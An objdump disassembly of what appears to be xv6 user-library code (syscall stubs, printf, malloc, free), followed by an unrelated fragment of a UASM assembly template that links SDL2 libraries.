65 f4 lea -0xc(%ebp),%esp 2c0: 5b pop %ebx 2c1: 5e pop %esi 2c2: 5f pop %edi 2c3: 5d pop %ebp 2c4: c3 ret 2c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002d0 <stat>: int stat(char *n, struct stat *st) { 2d0: 55 push %ebp 2d1: 89 e5 mov %esp,%ebp 2d3: 56 push %esi 2d4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 2d5: 83 ec 08 sub $0x8,%esp 2d8: 6a 00 push $0x0 2da: ff 75 08 pushl 0x8(%ebp) 2dd: e8 ef 00 00 00 call 3d1 <open> if(fd < 0) 2e2: 83 c4 10 add $0x10,%esp 2e5: 85 c0 test %eax,%eax 2e7: 78 27 js 310 <stat+0x40> return -1; r = fstat(fd, st); 2e9: 83 ec 08 sub $0x8,%esp 2ec: ff 75 0c pushl 0xc(%ebp) 2ef: 89 c3 mov %eax,%ebx 2f1: 50 push %eax 2f2: e8 f2 00 00 00 call 3e9 <fstat> close(fd); 2f7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 2fa: 89 c6 mov %eax,%esi close(fd); 2fc: e8 b8 00 00 00 call 3b9 <close> return r; 301: 83 c4 10 add $0x10,%esp } 304: 8d 65 f8 lea -0x8(%ebp),%esp 307: 89 f0 mov %esi,%eax 309: 5b pop %ebx 30a: 5e pop %esi 30b: 5d pop %ebp 30c: c3 ret 30d: 8d 76 00 lea 0x0(%esi),%esi return -1; 310: be ff ff ff ff mov $0xffffffff,%esi 315: eb ed jmp 304 <stat+0x34> 317: 89 f6 mov %esi,%esi 319: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000320 <atoi>: int atoi(const char *s) { 320: 55 push %ebp 321: 89 e5 mov %esp,%ebp 323: 53 push %ebx 324: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 327: 0f be 11 movsbl (%ecx),%edx 32a: 8d 42 d0 lea -0x30(%edx),%eax 32d: 3c 09 cmp $0x9,%al n = 0; 32f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 334: 77 1f ja 355 <atoi+0x35> 336: 8d 76 00 lea 0x0(%esi),%esi 339: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 340: 83 c1 01 add $0x1,%ecx 343: 8d 04 80 lea (%eax,%eax,4),%eax 346: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 34a: 0f be 11 movsbl (%ecx),%edx 34d: 8d 5a d0 lea -0x30(%edx),%ebx 350: 80 fb 09 cmp $0x9,%bl 353: 76 eb jbe 340 <atoi+0x20> return n; } 355: 5b pop %ebx 356: 5d pop %ebp 357: c3 ret 358: 90 nop 359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000360 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 360: 55 push %ebp 361: 89 e5 mov %esp,%ebp 363: 57 push %edi 364: 8b 55 10 mov 0x10(%ebp),%edx 367: 8b 45 08 mov 0x8(%ebp),%eax 36a: 56 push %esi 36b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 36e: 85 d2 test %edx,%edx 370: 7e 13 jle 385 <memmove+0x25> 372: 01 c2 add %eax,%edx dst = vdst; 374: 89 c7 mov %eax,%edi 376: 8d 76 00 lea 0x0(%esi),%esi 379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi *dst++ = *src++; 380: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 381: 39 fa cmp %edi,%edx 383: 75 fb jne 380 <memmove+0x20> return vdst; } 385: 5e pop %esi 386: 5f pop %edi 387: 5d pop %ebp 388: c3 ret 00000389 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 389: b8 01 00 00 00 mov $0x1,%eax 38e: cd 40 int $0x40 390: c3 ret 00000391 <exit>: SYSCALL(exit) 391: b8 02 00 00 00 mov $0x2,%eax 396: cd 40 int $0x40 398: c3 ret 00000399 <wait>: SYSCALL(wait) 399: b8 03 00 00 00 mov $0x3,%eax 39e: cd 40 int $0x40 3a0: c3 ret 000003a1 <pipe>: SYSCALL(pipe) 3a1: b8 04 00 00 00 mov $0x4,%eax 3a6: cd 40 int $0x40 3a8: c3 ret 000003a9 <read>: SYSCALL(read) 3a9: b8 05 00 00 00 mov $0x5,%eax 3ae: cd 40 int $0x40 3b0: c3 ret 000003b1 <write>: SYSCALL(write) 3b1: b8 10 00 00 00 mov $0x10,%eax 3b6: cd 40 int $0x40 3b8: c3 ret 000003b9 <close>: SYSCALL(close) 3b9: b8 15 00 00 00 mov $0x15,%eax 3be: cd 40 int $0x40 3c0: c3 ret 000003c1 <kill>: SYSCALL(kill) 3c1: b8 06 00 00 00 mov $0x6,%eax 3c6: cd 40 int $0x40 3c8: c3 ret 000003c9 <exec>: SYSCALL(exec) 3c9: b8 07 00 00 00 mov $0x7,%eax 3ce: cd 40 int $0x40 3d0: c3 ret 000003d1 <open>: SYSCALL(open) 3d1: b8 0f 00 00 00 mov $0xf,%eax 3d6: cd 40 int $0x40 3d8: c3 ret 000003d9 <mknod>: SYSCALL(mknod) 3d9: b8 11 00 00 00 mov $0x11,%eax 3de: cd 40 int $0x40 3e0: c3 ret 000003e1 <unlink>: SYSCALL(unlink) 3e1: b8 12 00 00 00 mov $0x12,%eax 3e6: cd 40 int $0x40 3e8: c3 ret 000003e9 <fstat>: SYSCALL(fstat) 3e9: b8 08 00 00 00 mov $0x8,%eax 3ee: cd 40 int $0x40 3f0: c3 ret 000003f1 <link>: SYSCALL(link) 3f1: b8 13 00 00 00 mov $0x13,%eax 3f6: cd 40 int $0x40 3f8: c3 ret 000003f9 <mkdir>: SYSCALL(mkdir) 3f9: b8 14 00 00 00 mov $0x14,%eax 3fe: cd 40 int $0x40 400: c3 ret 00000401 <chdir>: SYSCALL(chdir) 401: b8 09 00 00 00 mov $0x9,%eax 406: cd 40 int $0x40 408: c3 ret 00000409 <dup>: SYSCALL(dup) 409: b8 0a 00 00 00 mov $0xa,%eax 40e: cd 40 int $0x40 410: c3 ret 00000411 <getpid>: SYSCALL(getpid) 411: b8 0b 00 00 00 mov $0xb,%eax 416: cd 40 int $0x40 418: c3 ret 00000419 <sbrk>: SYSCALL(sbrk) 419: b8 0c 00 00 00 mov $0xc,%eax 41e: cd 40 int $0x40 420: c3 ret 00000421 <sleep>: SYSCALL(sleep) 421: b8 0d 00 00 00 mov $0xd,%eax 426: cd 40 int $0x40 428: c3 ret 00000429 <uptime>: SYSCALL(uptime) 429: b8 0e 00 00 00 mov $0xe,%eax 42e: cd 40 int $0x40 430: c3 ret 00000431 <trace>: SYSCALL(trace) 431: b8 16 00 00 00 mov $0x16,%eax 436: cd 40 int $0x40 438: c3 ret 00000439 <getsharem>: SYSCALL(getsharem) 439: b8 17 00 00 00 mov $0x17,%eax 43e: cd 40 int $0x40 440: c3 ret 00000441 <releasesharem>: SYSCALL(releasesharem) 441: b8 18 00 00 00 mov $0x18,%eax 446: cd 40 int $0x40 448: c3 ret 00000449 <split>: SYSCALL(split) 449: b8 19 00 00 00 mov $0x19,%eax 44e: cd 40 int $0x40 450: c3 ret 00000451 <memo>: SYSCALL(memo) 451: b8 1a 00 00 00 mov $0x1a,%eax 456: cd 40 int $0x40 458: c3 ret 00000459 <getmemo>: SYSCALL(getmemo) 459: b8 1b 00 00 00 mov $0x1b,%eax 45e: cd 40 int $0x40 460: c3 ret 00000461 <setmemo>: SYSCALL(setmemo) 461: b8 1c 00 00 00 mov $0x1c,%eax 466: cd 40 int $0x40 468: c3 ret 00000469 <att>: SYSCALL(att) 469: b8 1d 00 00 00 mov $0x1d,%eax 46e: cd 40 int $0x40 470: c3 ret 471: 66 90 xchg %ax,%ax 473: 66 90 xchg %ax,%ax 475: 66 90 xchg %ax,%ax 477: 66 90 xchg %ax,%ax 479: 66 90 xchg %ax,%ax 47b: 66 90 xchg %ax,%ax 47d: 66 90 xchg %ax,%ax 47f: 90 nop 00000480 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 480: 55 push %ebp 481: 89 e5 mov %esp,%ebp 483: 57 push %edi 484: 56 push %esi 485: 53 push %ebx uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 486: 89 d3 mov %edx,%ebx { 488: 83 ec 3c sub $0x3c,%esp 48b: 89 45 bc mov %eax,-0x44(%ebp) if(sgn && xx < 0){ 48e: 85 d2 test %edx,%edx 490: 0f 89 92 00 00 00 jns 528 <printint+0xa8> 496: f6 45 08 01 testb $0x1,0x8(%ebp) 49a: 0f 84 88 00 00 00 je 528 <printint+0xa8> neg = 1; 4a0: c7 45 c0 01 00 00 00 movl $0x1,-0x40(%ebp) x = -xx; 4a7: f7 db neg %ebx } else { x = xx; } i = 0; 4a9: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 4b0: 8d 75 d7 lea -0x29(%ebp),%esi 4b3: eb 08 jmp 4bd <printint+0x3d> 4b5: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 4b8: 89 7d c4 mov %edi,-0x3c(%ebp) }while((x /= base) != 0); 4bb: 89 c3 mov %eax,%ebx buf[i++] = digits[x % base]; 4bd: 89 d8 mov %ebx,%eax 4bf: 31 d2 xor %edx,%edx 4c1: 8b 7d c4 mov -0x3c(%ebp),%edi 4c4: f7 f1 div %ecx 4c6: 83 c7 01 add $0x1,%edi 4c9: 0f b6 92 d4 08 00 00 movzbl 0x8d4(%edx),%edx 4d0: 88 14 3e mov %dl,(%esi,%edi,1) }while((x /= base) != 0); 4d3: 39 d9 cmp %ebx,%ecx 4d5: 76 e1 jbe 4b8 <printint+0x38> if(neg) 4d7: 8b 45 c0 mov -0x40(%ebp),%eax 4da: 85 c0 test %eax,%eax 4dc: 74 0d je 4eb <printint+0x6b> buf[i++] = '-'; 4de: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 4e3: ba 2d 00 00 00 mov $0x2d,%edx buf[i++] = digits[x % base]; 4e8: 89 7d c4 mov %edi,-0x3c(%ebp) 4eb: 8b 45 c4 mov -0x3c(%ebp),%eax 4ee: 8b 7d bc mov -0x44(%ebp),%edi 4f1: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 4f5: eb 0f jmp 506 <printint+0x86> 4f7: 89 f6 mov %esi,%esi 4f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 500: 0f b6 13 movzbl (%ebx),%edx 503: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); 506: 83 ec 04 sub $0x4,%esp 509: 88 55 d7 mov %dl,-0x29(%ebp) 50c: 6a 01 push $0x1 50e: 56 push %esi 50f: 57 push %edi 510: e8 9c fe ff ff call 3b1 <write> while(--i >= 0) 515: 83 c4 10 add $0x10,%esp 518: 39 de cmp %ebx,%esi 51a: 75 e4 jne 500 <printint+0x80> putc(fd, buf[i]); } 51c: 8d 65 f4 lea -0xc(%ebp),%esp 51f: 5b pop %ebx 520: 5e pop %esi 521: 5f pop %edi 522: 5d pop %ebp 523: c3 ret 524: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 528: c7 45 c0 00 00 00 00 movl $0x0,-0x40(%ebp) 52f: e9 75 ff ff ff jmp 4a9 <printint+0x29> 534: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 53a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000540 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 540: 55 push %ebp 541: 89 e5 mov %esp,%ebp 543: 57 push %edi 544: 56 push %esi 545: 53 push %ebx 546: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 549: 8b 75 0c mov 0xc(%ebp),%esi 54c: 0f b6 1e movzbl (%esi),%ebx 54f: 84 db test %bl,%bl 551: 0f 84 b9 00 00 00 je 610 <printf+0xd0> ap = (uint*)(void*)&fmt + 1; 557: 8d 45 10 lea 0x10(%ebp),%eax 55a: 83 c6 01 add $0x1,%esi write(fd, &c, 1); 55d: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; 560: 31 d2 xor %edx,%edx ap = (uint*)(void*)&fmt + 1; 562: 89 45 d0 mov %eax,-0x30(%ebp) 565: eb 38 jmp 59f <printf+0x5f> 567: 89 f6 mov %esi,%esi 569: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 570: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 573: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 578: 83 f8 25 cmp $0x25,%eax 57b: 74 17 je 594 <printf+0x54> write(fd, &c, 1); 57d: 83 ec 04 sub $0x4,%esp 580: 88 5d e7 mov %bl,-0x19(%ebp) 583: 6a 01 push $0x1 585: 57 push %edi 586: ff 75 08 pushl 0x8(%ebp) 589: e8 23 fe ff ff call 3b1 <write> 58e: 8b 55 d4 mov -0x2c(%ebp),%edx } else { putc(fd, c); 591: 83 c4 10 add $0x10,%esp 594: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 597: 0f b6 5e ff movzbl -0x1(%esi),%ebx 59b: 84 db test %bl,%bl 59d: 74 71 je 610 <printf+0xd0> c = fmt[i] & 0xff; 59f: 0f be cb movsbl %bl,%ecx 5a2: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 5a5: 85 d2 test %edx,%edx 5a7: 74 c7 je 570 <printf+0x30> } } else if(state == '%'){ 5a9: 83 fa 25 cmp $0x25,%edx 5ac: 75 e6 jne 594 <printf+0x54> if(c == 'd'){ 5ae: 83 f8 64 cmp $0x64,%eax 5b1: 0f 84 99 00 00 00 je 650 <printf+0x110> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 5b7: 81 e1 f7 00 00 00 and $0xf7,%ecx 5bd: 83 f9 70 cmp $0x70,%ecx 5c0: 74 5e je 620 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 5c2: 83 f8 73 cmp $0x73,%eax 5c5: 0f 84 d5 00 00 00 je 6a0 <printf+0x160> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 5cb: 83 f8 63 cmp $0x63,%eax 5ce: 0f 84 8c 00 00 00 je 660 <printf+0x120> putc(fd, *ap); ap++; } else if(c == '%'){ 5d4: 83 f8 25 cmp $0x25,%eax 5d7: 0f 84 b3 00 00 00 je 690 <printf+0x150> write(fd, &c, 1); 5dd: 83 ec 04 sub $0x4,%esp 5e0: c6 45 e7 25 movb $0x25,-0x19(%ebp) 5e4: 6a 01 push $0x1 5e6: 57 push %edi 5e7: ff 75 08 pushl 0x8(%ebp) 5ea: e8 c2 fd ff ff call 3b1 <write> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 5ef: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 5f2: 83 c4 0c add $0xc,%esp 5f5: 6a 01 push $0x1 5f7: 83 c6 01 add $0x1,%esi 5fa: 57 push %edi 5fb: ff 75 08 pushl 0x8(%ebp) 5fe: e8 ae fd ff ff call 3b1 <write> for(i = 0; fmt[i]; i++){ 603: 0f b6 5e ff movzbl -0x1(%esi),%ebx putc(fd, c); 607: 83 c4 10 add $0x10,%esp } state = 0; 60a: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 60c: 84 db test %bl,%bl 60e: 75 8f jne 59f <printf+0x5f> } } } 610: 8d 65 f4 lea -0xc(%ebp),%esp 613: 5b pop %ebx 614: 5e pop %esi 615: 5f pop %edi 616: 5d pop %ebp 617: c3 ret 618: 90 nop 619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 16, 0); 620: 83 ec 0c sub $0xc,%esp 623: b9 10 00 00 00 mov $0x10,%ecx 628: 6a 00 push $0x0 62a: 8b 5d d0 mov -0x30(%ebp),%ebx 62d: 8b 45 08 mov 0x8(%ebp),%eax 630: 8b 13 mov (%ebx),%edx 632: e8 49 fe ff ff call 480 <printint> ap++; 637: 89 d8 mov %ebx,%eax 639: 83 c4 10 add $0x10,%esp state = 0; 63c: 31 d2 xor %edx,%edx ap++; 63e: 83 c0 04 add $0x4,%eax 641: 89 45 d0 mov %eax,-0x30(%ebp) 644: e9 4b ff ff ff jmp 594 <printf+0x54> 649: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 10, 1); 650: 83 ec 0c sub $0xc,%esp 653: b9 0a 00 00 00 mov $0xa,%ecx 658: 6a 01 push $0x1 65a: eb ce jmp 62a <printf+0xea> 65c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, *ap); 660: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); 663: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 666: 8b 03 mov (%ebx),%eax write(fd, &c, 1); 668: 6a 01 push $0x1 ap++; 66a: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 66d: 57 push %edi 66e: ff 75 08 pushl 0x8(%ebp) putc(fd, *ap); 671: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 674: e8 38 fd ff ff call 3b1 <write> ap++; 679: 89 5d d0 mov %ebx,-0x30(%ebp) 67c: 83 c4 10 add $0x10,%esp state = 0; 67f: 31 d2 xor %edx,%edx 681: e9 0e ff ff ff jmp 594 <printf+0x54> 686: 8d 76 00 lea 0x0(%esi),%esi 689: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi putc(fd, c); 690: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 693: 83 ec 04 sub $0x4,%esp 696: e9 5a ff ff ff jmp 5f5 <printf+0xb5> 69b: 90 nop 69c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 6a0: 8b 45 d0 mov -0x30(%ebp),%eax 6a3: 8b 18 mov (%eax),%ebx ap++; 6a5: 83 c0 04 add $0x4,%eax 6a8: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 6ab: 85 db test %ebx,%ebx 6ad: 74 17 je 6c6 <printf+0x186> while(*s != 0){ 6af: 0f b6 03 movzbl (%ebx),%eax state = 0; 6b2: 31 d2 xor %edx,%edx while(*s != 0){ 6b4: 84 c0 test %al,%al 6b6: 0f 84 d8 fe ff ff je 594 <printf+0x54> 6bc: 89 75 d4 mov %esi,-0x2c(%ebp) 6bf: 89 de mov %ebx,%esi 6c1: 8b 5d 08 mov 0x8(%ebp),%ebx 6c4: eb 1a jmp 6e0 <printf+0x1a0> s = "(null)"; 6c6: bb cb 08 00 00 mov $0x8cb,%ebx while(*s != 0){ 6cb: 89 75 d4 mov %esi,-0x2c(%ebp) 6ce: b8 28 00 00 00 mov $0x28,%eax 6d3: 89 de mov %ebx,%esi 6d5: 8b 5d 08 mov 0x8(%ebp),%ebx 6d8: 90 nop 6d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi write(fd, &c, 1); 6e0: 83 ec 04 sub $0x4,%esp s++; 6e3: 83 c6 01 add $0x1,%esi 6e6: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 6e9: 6a 01 push $0x1 6eb: 57 push %edi 6ec: 53 push %ebx 6ed: e8 bf fc ff ff call 3b1 <write> while(*s != 0){ 6f2: 0f b6 06 movzbl (%esi),%eax 6f5: 83 c4 10 add $0x10,%esp 6f8: 84 c0 test %al,%al 6fa: 75 e4 jne 6e0 <printf+0x1a0> 6fc: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 6ff: 31 d2 xor %edx,%edx 701: e9 8e fe ff ff jmp 594 <printf+0x54> 706: 66 90 xchg %ax,%ax 708: 66 90 xchg %ax,%ax 70a: 66 90 xchg %ax,%ax 70c: 66 90 xchg %ax,%ax 70e: 66 90 xchg %ax,%ax 00000710 <free>: static Header base; static Header *freep; void free(void *ap) { 710: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 711: a1 8c 0b 00 00 mov 0xb8c,%eax { 716: 89 e5 mov %esp,%ebp 718: 57 push %edi 719: 56 push %esi 71a: 53 push %ebx 71b: 8b 5d 08 mov 0x8(%ebp),%ebx 71e: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; 720: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 723: 39 c8 cmp %ecx,%eax 725: 73 19 jae 740 <free+0x30> 727: 89 f6 mov %esi,%esi 729: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 730: 39 d1 cmp %edx,%ecx 732: 72 14 jb 748 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 734: 39 d0 cmp %edx,%eax 736: 73 10 jae 748 <free+0x38> { 738: 89 d0 mov %edx,%eax 73a: 8b 10 mov (%eax),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 73c: 39 c8 cmp %ecx,%eax 73e: 72 f0 jb 730 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 740: 39 d0 cmp %edx,%eax 742: 72 f4 jb 738 <free+0x28> 744: 39 d1 cmp %edx,%ecx 746: 73 f0 jae 738 <free+0x28> break; if(bp + bp->s.size == p->s.ptr){ 748: 8b 73 fc mov -0x4(%ebx),%esi 74b: 8d 3c f1 lea (%ecx,%esi,8),%edi 74e: 39 fa cmp %edi,%edx 750: 74 1e je 770 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 752: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 755: 8b 50 04 mov 0x4(%eax),%edx 758: 8d 34 d0 lea (%eax,%edx,8),%esi 75b: 39 f1 cmp %esi,%ecx 75d: 74 28 je 787 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 75f: 89 08 mov %ecx,(%eax) freep = p; } 761: 5b pop %ebx freep = p; 762: a3 8c 0b 00 00 mov %eax,0xb8c } 767: 5e pop %esi 768: 5f pop %edi 769: 5d pop %ebp 76a: c3 ret 76b: 90 nop 76c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 770: 03 72 04 add 0x4(%edx),%esi 773: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 776: 8b 10 mov (%eax),%edx 778: 8b 12 mov (%edx),%edx 77a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 77d: 8b 50 04 mov 0x4(%eax),%edx 780: 8d 34 d0 lea (%eax,%edx,8),%esi 783: 39 f1 cmp %esi,%ecx 785: 75 d8 jne 75f <free+0x4f> p->s.size += bp->s.size; 787: 03 53 fc add -0x4(%ebx),%edx freep = p; 78a: a3 8c 0b 00 00 mov %eax,0xb8c p->s.size += bp->s.size; 78f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 792: 8b 53 f8 mov -0x8(%ebx),%edx 795: 89 10 mov %edx,(%eax) } 797: 5b pop %ebx 798: 5e pop %esi 799: 5f pop %edi 79a: 5d pop %ebp 79b: c3 ret 79c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000007a0 <malloc>: return freep; } void* malloc(uint nbytes) { 7a0: 55 push %ebp 7a1: 89 e5 mov %esp,%ebp 7a3: 57 push %edi 7a4: 56 push %esi 7a5: 53 push %ebx 7a6: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 7a9: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 7ac: 8b 3d 8c 0b 00 00 mov 0xb8c,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 7b2: 8d 70 07 lea 0x7(%eax),%esi 7b5: c1 ee 03 shr $0x3,%esi 7b8: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 7bb: 85 ff test %edi,%edi 7bd: 0f 84 ad 00 00 00 je 870 <malloc+0xd0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7c3: 8b 17 mov (%edi),%edx if(p->s.size >= nunits){ 7c5: 8b 4a 04 mov 0x4(%edx),%ecx 7c8: 39 ce cmp %ecx,%esi 7ca: 76 72 jbe 83e <malloc+0x9e> 7cc: 81 fe 00 10 00 00 cmp $0x1000,%esi 7d2: bb 00 10 00 00 mov $0x1000,%ebx 7d7: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 7da: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax 7e1: 89 45 e4 mov %eax,-0x1c(%ebp) 7e4: eb 1b jmp 801 <malloc+0x61> 7e6: 8d 76 00 lea 0x0(%esi),%esi 7e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7f0: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 7f2: 8b 48 04 mov 0x4(%eax),%ecx 7f5: 39 f1 cmp %esi,%ecx 7f7: 73 4f jae 848 <malloc+0xa8> 7f9: 8b 3d 8c 0b 00 00 mov 0xb8c,%edi 7ff: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 801: 39 d7 cmp %edx,%edi 803: 75 eb jne 7f0 <malloc+0x50> p = sbrk(nu * sizeof(Header)); 805: 83 ec 0c sub $0xc,%esp 808: ff 75 e4 pushl -0x1c(%ebp) 80b: e8 09 fc ff ff call 419 <sbrk> if(p == (char*)-1) 810: 83 c4 10 add $0x10,%esp 813: 83 f8 ff cmp $0xffffffff,%eax 816: 74 1c je 834 <malloc+0x94> hp->s.size = nu; 818: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 81b: 83 ec 0c sub $0xc,%esp 81e: 83 c0 08 add $0x8,%eax 821: 50 push %eax 822: e8 e9 fe ff ff call 710 <free> return freep; 827: 8b 15 8c 0b 00 00 mov 0xb8c,%edx if((p = morecore(nunits)) == 0) 82d: 83 c4 10 add $0x10,%esp 830: 85 d2 test %edx,%edx 832: 75 bc jne 7f0 <malloc+0x50> return 0; } } 834: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 837: 31 c0 xor %eax,%eax } 839: 5b pop %ebx 83a: 5e pop %esi 83b: 5f pop %edi 83c: 5d pop %ebp 83d: c3 ret if(p->s.size >= nunits){ 83e: 89 d0 mov %edx,%eax 840: 89 fa mov %edi,%edx 842: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 848: 39 ce cmp %ecx,%esi 84a: 74 54 je 8a0 <malloc+0x100> p->s.size -= nunits; 84c: 29 f1 sub %esi,%ecx 84e: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 851: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 854: 89 70 04 mov %esi,0x4(%eax) freep = prevp; 857: 89 15 8c 0b 00 00 mov %edx,0xb8c } 85d: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 860: 83 c0 08 add $0x8,%eax } 863: 5b pop %ebx 864: 5e pop %esi 865: 5f pop %edi 866: 5d pop %ebp 867: c3 ret 868: 90 nop 869: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 870: c7 05 8c 0b 00 00 90 movl $0xb90,0xb8c 877: 0b 00 00 base.s.size = 0; 87a: bf 90 0b 00 00 mov $0xb90,%edi base.s.ptr = freep = prevp = &base; 87f: c7 05 90 0b 00 00 90 movl $0xb90,0xb90 886: 0b 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 889: 89 fa mov %edi,%edx base.s.size = 0; 88b: c7 05 94 0b 00 00 00 movl $0x0,0xb94 892: 00 00 00 if(p->s.size >= nunits){ 895: e9 32 ff ff ff jmp 7cc <malloc+0x2c> 89a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 8a0: 8b 08 mov (%eax),%ecx 8a2: 89 0a mov %ecx,(%edx) 8a4: eb b1 jmp 857 <malloc+0xb7>
; ML64 template file ; Compile: uasm64.exe -nologo -win64 -Zd -Zi -c testUasm.asm ; Link: link /nologo /debug /subsystem:console /entry:main testUasm.obj user32.lib kernel32.lib OPTION WIN64:8 ; Include libraries includelib SDL2.lib includelib SDL2main.lib includelib SDL2_image.lib includelib SDL2_ttf.lib includelib SDL2_mixer.lib externdef _itoa:proc itoa TEXTEQU <_itoa> ; Include files include main.inc include SDL.inc include SDL_image.inc include SDL_ttf.inc include SDL_mixer.inc ; include Code files include LTexture.asm include LButton.asm include LTimer.asm CheckCollision proto :PTR SDL_Rect, :PTR SDL_Rect include Dot.asm Init proto Shutdown proto LoadMedia proto LoadTexture proto :QWORD StringCopy proto :PTR BYTE, :PTR BYTE StringConcat proto :PTR 